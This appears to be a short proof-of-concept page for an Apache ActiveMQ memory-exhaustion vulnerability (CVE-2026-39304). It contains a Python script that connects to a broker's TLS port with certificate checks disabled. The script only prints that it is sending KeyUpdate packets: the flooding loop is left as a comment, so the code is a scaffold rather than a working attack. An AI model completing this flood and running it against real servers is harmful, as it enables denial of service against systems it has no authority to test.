CVE-2026-39304 Apache ActiveMQ内存耗尽漏洞

import socket import ssl # This is a conceptual PoC. It simulates the connection logic. # Actual exploitation requires crafting raw TLS KeyUpdate records (ContentType 24). def exploit_oom(host, port): try: # Establish TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) print(f"[+] Connecting to {host}:{port}...") sock.connect((host, port)) # Wrap socket with SSL context (TLS 1.3) context = ssl.SSLContext(ssl.PROTOCOL_TLS) context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Perform TLS Handshake ssl_sock = context.wrap_socket(sock, server_hostname=host) print(f"[+] TLS Handshake established.") # In a real exploit scenario, the attacker would send a flood of # KeyUpdate requests here. Standard Python 'ssl' library does not # support sending raw KeyUpdate records directly. # The vulnerability is triggered by rapid KeyUpdate packets. print("[!] Sending malicious KeyUpdate packets (Simulated)...") # Malicious loop would go here: send(construct_keyupdate_record()) ssl_sock.close() print("[+] Connection closed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "192.168.1.100" target_port = 61617 # Default ActiveMQ NIO SSL port exploit_oom(target_host, target_port)